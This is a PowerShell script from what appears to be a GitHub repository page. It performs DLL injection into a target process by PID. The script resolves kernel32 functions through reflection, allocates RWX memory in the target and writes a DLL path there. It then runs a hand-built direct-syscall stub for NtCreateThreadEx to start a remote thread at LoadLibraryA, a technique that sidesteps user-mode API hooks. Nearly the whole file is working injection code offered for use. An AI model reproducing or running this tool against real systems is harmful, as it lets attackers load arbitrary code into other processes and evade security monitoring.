-
Notifications
You must be signed in to change notification settings - Fork 9
/
NtCreateThreadEx.ps1
146 lines (112 loc) · 6.79 KB
/
NtCreateThreadEx.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
function NtCreateThreadEx()
{
<#
.SYNOPSIS
Dll Injection using NtCreateThreadEx
Author: Souhardya Sardar
.PARAMETER DllPath
The dllname to be used.
.PARAMETER ProcessID
The process Id of the process
.EXAMPLE
PS>Import-Module .\NtCreateThreadEx.ps1
NtCreateThreadEx -DllPath FullPathToDll -ProcessID 123
#>
[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$ProcessID,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$DllPath
)
[Byte[]]$dllBuf = [System.Text.Encoding]::Default.GetBytes($DllPath)
#Winver : Windows Version 1803 x64
[Byte[]] $NtCreateThreadExStub = @(0x49, 0x89, 0xCA, 0xB8, 0xBB, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3)
#0: 49 89 ca mov %rcx,%r10
#3: b8 bb 00 00 00 mov $0xbb,%eax
#8: 0f 05 syscall
#a: c3 retq
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
$openaddr = Get-ProcAddress kernel32.dll OpenProcess
$openDelgate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$openProc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($openaddr, $openDelgate)
$prochandle = $openProc.Invoke(0x001F0FFF, $false, $ProcessID)
if($prochandle -eq '0')
{
Throw "[!] Cannot open a handle to the process: $ProcessID"
}
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$remotememoryaddress = $VirtualAllocEx.Invoke($prochandle, [System.IntPtr]::Zero, $DllPath.Length+1 , 0x3000, 0x40) # Reserve|Commit, RWX
if($remotememoryaddress -eq '0')
{
Throw "[!]Cannot allocate enough memory: $ProcessID"
}
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr]) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
if(!$WriteProcessMemory.Invoke($prochandle, $remotememoryaddress, $dllBuf , [Uint32]$DllPath.Length+1 , [IntPtr]::Zero))
{
Throw "[!] Cannot write in remote process: $ProcessID"
}
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$LoadLibraryAAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$NtCreateThreadDelgate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [bool], [Uint32], [Uint32], [Uint32], [IntPtr]) ([Uint32])
$shellcodeBuf = $VirtualAlloc.Invoke([System.IntPtr]::Zero, $NtCreateThreadExStub.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($NtCreateThreadExStub, 0, $shellcodeBuf, $NtCreateThreadExStub.Length)
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($shellcodeBuf, $NtCreateThreadDelgate)
$hRemoteThread = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(8) #would work
$NtCreateThreadEx.DynamicInvoke($hRemoteThread, [Uint32]0x1FFFFF, [IntPtr]::Zero, $prochandle, $LoadLibraryAAddr, $remotememoryaddress, $false, [UInt32]::Zero, [UInt32]::Zero, [UInt32]::Zero, [IntPtr]::Zero)
}